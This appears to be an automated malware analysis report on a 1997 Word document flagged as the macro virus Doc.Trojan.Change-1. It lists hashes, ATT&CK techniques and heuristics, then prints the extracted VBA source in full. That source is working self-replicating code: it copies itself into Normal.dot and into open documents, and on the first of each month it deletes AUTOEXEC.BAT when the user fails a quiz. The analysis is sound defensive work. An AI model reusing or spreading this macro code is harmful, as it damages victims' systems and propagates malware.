Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 133f3f6c0b5e751f…

MALICIOUS

Office (OLE)

40.0 KB Created: 1997-10-01 06:57:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: ea22d093ce32f3ee80e489d3317c4324 SHA-1: 83c6e40467bce9d922a82aa8b798ac5925673031 SHA-256: 133f3f6c0b5e751fa78de64f45339509d68a39d69a370a6c3fb9e18ac9b3ca23
228 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains legacy WordBasic macro markers and an Auto_Close macro, indicating malicious intent. The script attempts to spread itself to the Normal.dot template and delete AUTOEXEC.BAT, suggesting a self-propagating malware. The ClamAV detection as 'Doc.Trojan.Change-1' further supports its malicious nature.

Heuristics 6

  • ClamAV: Doc.Trojan.Change-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Change-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
      Application.OrganizerCopy Source:=file$, _
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Attribute VB_Name = "autoclose"
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 40,960 bytes but its declared streams total only 20,482 bytes — 20,478 bytes (50%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2325 bytes
SHA-256: 892dec6d18eb5a9577d786358f7e5af179dba9bc82815e0c8fe50117a461db19
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "autoclose"

Public Sub main()
Attribute main.VB_Description = "巨集建立於 97/10/31，建立者 X建哲!"
Attribute main.VB_ProcData.VB_Invoke_Func = "TemplateProject.autoclose.main"
Dim ANSWER$
Dim nor
Dim kk
Dim t
Dim file$
Dim filem$
Dim nor1
Dim kkk
Dim tt
On Error Resume Next
If WordBasic.Day(WordBasic.Now()) = 1 Then GoTo CHNGMENU Else GoTo z
CHNGMENU:
WordBasic.RenameMenu "檔案", "我是天才!", 0
Err.Number = 0
ANSWER$ = WordBasic.[InputBox$]("又到每月一日了!,考你一題問題:電腦處理個人資料保護法通過是本人生日!我是誰?", "@建哲病毒@")
If ANSWER$ = "黃建哲" Then GoTo message Else GoTo die
message:
WordBasic.MsgBox "你怎麼知道呢?"
WordBasic.MsgBox "恭喜! 恭喜! 你答對了! 我是喜愛電腦的國中生~~", "不簡單呦!", 64
GoTo z
die:
WordBasic.Kill "c:\AUTOEXEC.BAT"
WordBasic.MsgBox "很可惜!我只好處罰你!!!", "不簡單呦!", 32
WordBasic.MsgBox "本來我只會寫WORD6.0&7.0的巨集病毒,後來終於自己想通了感染部份!"
WordBasic.MsgBox "今天能夠寫出病毒,是因為網路資源的豐富並有許多資訊,謝謝你們! "
GoTo z
z:

'WordBasic.ToolsMacro Name:="巨集1", Show:=0, Run:=1
nor = WordBasic.CountMacros(0)
If nor > 0 Then
For kk = 1 To nor
If WordBasic.[MacroName$](kk, 0) = "autoclose" Then
t = 1
End If
Next kk
End If
file$ = WordBasic.[FileName$]()
filem$ = file$ + ":autoclose"
If t <> 1 Then
  
  Application.OrganizerCopy Source:=file$, _
        Destination:="C:\Program Files\Microsoft Office\Templates\Normal.dot", _
        Name:="autoclose", Object:=wdOrganizerObjectProjectItems
End If
nor1 = WordBasic.CountMacros(1)
If nor1 > 0 Then
For kkk = 1 To nor1
If WordBasic.[MacroName$](kkk, 1) = "autoclose" Then
tt = 1
End If
Next kkk
End If
If tt <> 1 Then
WordBasic.FileSaveAs Format:=1
file$ = WordBasic.[FileName$]()
filem$ = file$ + ":autoclose"
End If
If tt <> 1 Then
WordBasic.MacroCopy "autoclose", filem$, 1
exit_:
End If
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.